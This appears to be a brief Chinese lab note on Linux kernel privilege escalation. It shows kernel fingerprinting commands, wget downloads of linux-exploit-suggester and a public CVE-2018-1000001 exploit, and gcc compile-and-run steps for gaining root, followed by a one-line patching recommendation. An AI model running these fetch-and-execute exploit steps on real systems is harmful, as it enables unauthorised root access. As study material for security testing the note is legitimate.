漏洞发现
针对相应系统版本的cve提权漏洞
uname -a 所有版本
uname -r 内核版本信息
cat /proc/version 内核信息
Linux Exploit Suggester
下载linux-exploit-suggester.sh文件
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
若出现无法连上服务器时
(这个当然要在root权限下才可以修改,只是做个实验)
添加地址绑定ip
sudo vi /etc/hosts
给它可执行的权限(一般普通用户也可以)
执行,查看到可用于提权的cve漏洞
常见exp https://github.com/SecWiki/linux-kernel-exploits
漏洞利用
下载对应poc至可执行权限文件夹中,并gcc编译,最后执行
wget https://github.com/SecWiki/linux-kernel-exploits/tree/master/2018/CVE-2018-1000001/RationalLove.c
gcc RationalLove.c -o cve-2018-1000001
./cve-2018-1000001
(关于gcc的安装)
sudo apt-get install gcc build-essential
防护
针对系统漏洞,对症下药。只要安装相应的补丁即可
GOT IT!
******************************************************
小实验小结,具体测试利用方式需根据具体实践场景~